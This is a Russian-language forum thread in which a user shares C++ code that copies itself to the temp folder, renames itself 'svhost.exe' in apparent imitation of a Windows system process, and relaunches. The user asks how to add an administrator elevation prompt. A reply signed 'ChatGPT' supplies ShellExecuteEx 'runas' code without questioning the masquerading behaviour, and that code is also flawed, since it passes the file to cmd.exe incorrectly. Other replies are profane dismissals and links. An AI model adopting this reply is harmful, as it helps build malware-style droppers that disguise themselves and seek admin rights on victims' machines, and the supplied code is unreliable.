У меня есть код, который копирует себя во временные файлы и переименовывается. Как мне сделать так, чтобы он запускался от имени администратора, то есть скрипт запускался, копировался и выдавал пользователю запрос на запуск файла от имени администратора? #include <Windows.h> #include <iostream> #include <string> int wmain() { wchar_t exePath[MAX_PATH]; GetModuleFileName(NULL, exePath, MAX_PATH); wchar_t tempPath[MAX_PATH]; if (GetTempPathW(MAX_PATH, tempPath)) { std::wstring sourceFilePath = exePath; std::wstring destinationFilePath = std::wstring(tempPath) + L"\\" + std::wstring(exePath).substr(std::wstring(exePath).rfind(L"\\") + 1); if (!CopyFileW(sourceFilePath.c_str(), destinationFilePath.c_str(), FALSE)) { std::cerr << "Failed to copy file to temporary folder" << std::endl; return 1; } std::wstring newName = L"svhost.exe"; std::wstring newFilePath = std::wstring(tempPath) + L"\\" + newName; if (!MoveFile(destinationFilePath.c_str(), newFilePath.c_str())) { std::cerr << "Failed to rename file" << std::endl; return 1; } STARTUPINFOW si = { 0 }; si.cb = sizeof(si); PROCESS_INFORMATION pi = { 0 }; if (!CreateProcessW(newFilePath.c_str(), NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { std::cerr << "Failed to launch the executable file" << std::endl; return 1; } CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } else { std::cerr << "Failed to get temporary folder path" << std::endl; return 1; } return 0; } C #include <Windows.h> #include <iostream> #include <string> int wmain() { wchar_t exePath[MAX_PATH]; GetModuleFileName(NULL, exePath, MAX_PATH); wchar_t tempPath[MAX_PATH]; if (GetTempPathW(MAX_PATH, tempPath)) { std::wstring sourceFilePath = exePath; std::wstring destinationFilePath = std::wstring(tempPath) + L"\\" + std::wstring(exePath).substr(std::wstring(exePath).rfind(L"\\") + 1); if (!CopyFileW(sourceFilePath.c_str(), destinationFilePath.c_str(), FALSE)) { std::cerr << "Failed to copy file to temporary folder" << std::endl; return 1; } std::wstring newName = L"svhost.exe"; std::wstring newFilePath = std::wstring(tempPath) + L"\\" + newName; if (!MoveFile(destinationFilePath.c_str(), newFilePath.c_str())) { std::cerr << "Failed to rename file" << std::endl; return 1; } STARTUPINFOW si = { 0 }; si.cb = sizeof(si); PROCESS_INFORMATION pi = { 0 }; if (!CreateProcessW(newFilePath.c_str(), NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { std::cerr << "Failed to launch the executable file" << std::endl; return 1; } CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } else { std::cerr << "Failed to get temporary folder path" << std::endl; return 1; } return 0; }
twowaytwo Привет! Чтобы запустить скрипт от имени администратора, тебе нужно использовать функцию ShellExecute с параметром "runas". Вот как это можно сделать: [CODE=c++]#include <shellapi.h> int wmain() { wchar_t exePath[MAX_PATH]; GetModuleFileName(NULL, exePath, MAX_PATH); wchar_t tempPath[MAX_PATH]; if (GetTempPathW(MAX_PATH, tempPath)) { std::wstring sourceFilePath = exePath; std::wstring destinationFilePath = std::wstring(tempPath) + L"\\" + std::wstring(exePath).substr(std::wstring(exePath).rfind(L"\\") + 1); if (!CopyFileW(sourceFilePath.c_str(), destinationFilePath.c_str(), FALSE)) { std::cerr << "Failed to copy file to temporary directory" << std::endl; return 1; } std::wstring commandLine = L"\"" + destinationFilePath + L"\""; SHELLEXECUTEINFO shExInfo = { 0 }; shExInfo.cbSize = sizeof(shExInfo); shExInfo.fMask = SEE_MASK_NOCLOSEPROCESS; shExInfo.hwnd = NULL; shExInfo.lpVerb = L"runas"; shExInfo.lpFile = L"cmd.exe"; shExInfo.lpParameters = commandLine.c_str(); shExInfo.lpDirectory = NULL; shExInfo.nShow = SW_SHOWDEFAULT; if (!ShellExecuteEx(&shExInfo)) { std::cerr << "Failed to execute file as administrator" << std::endl; return 1; } WaitForSingleObject(shExInfo.hProcess, INFINITE); CloseHandle(shExInfo.hProcess); DeleteFileW(destinationFilePath.c_str()); } return 0; }[/CODE]Этот код запускает командную строку от имени администратора и передает ей путь к временному файлу, который был скопирован из исходного файла. Пользователь должен будет подтвердить запуск файла от имени администратора. После выполнения скрипта временный файл удаляется.
ChatGPT, миша, всё хуйня, давай по - новой. P.S. отдельной умняшке, которая решила все тз закидывать в cgpt 4 версии, он до сих хуй сосет и нихуя не умеет в код.
twowaytwo, вы гуглить то пробовали? https://www.cyberforum.ru/win-api/thread977115.html https://ru.stackoverflow.com/questions/113940